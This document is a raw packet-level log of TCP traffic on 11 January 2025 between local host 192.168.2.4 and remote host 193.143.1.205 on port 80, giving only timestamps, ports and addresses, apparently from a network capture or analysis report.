Jan 11, 2025 03:26:48.283001900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283052921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283116102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283155918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283212900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283221006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283284903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283341885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283349037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283376932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283406019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283430099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283462048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283516884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283530951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283562899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283613920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283699989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283734083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283766985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283786058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283801079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.283852100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.283862114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284010887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284068108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284084082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284117937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284168959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284255028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284288883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284321070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284353971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284357071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284405947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284508944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284550905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284595013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284606934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284805059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284837961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284861088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284872055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.284923077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.284976959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285063982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285095930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285124063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285128117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285164118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285178900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285198927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285243988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285278082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285312891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285345078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285362959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285738945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285809040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285845995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285864115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285878897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285926104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.285943985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.285976887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286010027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286025047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.286043882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286092997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.286180019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286211967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286245108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286261082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.286278009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286310911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286326885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.286674976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.286730051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.292062044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.294960976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.295063019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.295115948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.295146942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.304379940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.346911907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.346968889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.347027063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.347112894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.347147942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.347182035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.347208023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.352832079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.365187883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.369379044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369401932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369419098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369483948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.369527102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.369532108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369621992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369674921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369677067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.369710922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369759083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.369865894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369899035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369932890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.369947910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.369966984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370002031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370018005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370035887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370081902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370131969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370168924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370213985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370313883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370368004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370397091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370415926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370481968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370532036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370536089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370601892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370646954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370680094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370713949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370759964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370853901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370887041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370922089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370933056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.370954990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.370986938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371005058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.371380091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371413946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371423960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.371448994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371495962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.371515989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371548891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371582031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371591091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.371618032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371651888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.371664047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.378068924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.399506092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399559975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399593115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399614096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.399662018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.399713039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399744987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399779081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399796009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.399863005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399894953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399929047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399930000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.399961948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.399977922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400084972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400134087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400135994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400182962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400217056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400242090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400264978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400298119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400327921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400331020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400365114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400389910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400444031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400476933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400504112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400518894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400551081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400573969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400789976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400840998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400844097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.400876045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400908947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.400928974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401032925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401093006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401118040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401150942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401184082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401212931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401225090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401257992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401289940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401289940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401345968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401571035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401606083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401639938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401659012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401673079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401709080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401722908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.401743889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401777029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.401798964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.415927887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.433794022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.433847904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.433897018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.433931112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.433964014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.433996916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.434035063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.434035063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.434035063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456186056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456216097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456268072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456295013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456343889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456377029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456409931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456444025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456464052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456464052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456464052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456465006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456478119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456528902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456547022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456597090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456629992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456666946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456693888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456749916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456810951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456844091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456876993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.456896067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.456984997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457017899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457045078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457051992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457110882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457160950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457192898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457226038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457245111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457257986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457309008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457412004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457441092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457473040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457500935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457504034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457561016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457582951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457617044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457650900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457669973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457730055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457762003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457786083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457796097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457829952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.457849026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.457972050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458003998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458029985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.458035946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458069086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458087921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.458332062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458364964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458399057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.458400011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458432913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458450079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.458466053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458498001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.458520889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.461112022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486401081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486449957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486509085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486546040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486576080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486629009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486663103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486675024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486675024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486675024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486696959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486732006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486738920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486780882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486783028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486816883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486850977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486875057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486887932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486934900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.486937046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.486972094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487005949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487019062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487112045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487144947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487166882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487198114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487226963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487246990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487262011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487318039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487312078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487385988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487442970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487456083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487489939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487524033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487535000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487637997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487669945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487689972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487703085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487751961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487768888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487833023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487868071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.487880945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.487991095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488040924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488046885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488075972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488126040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488184929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488218069 CET	80	49730	193.143.1.205	192.168.2.4
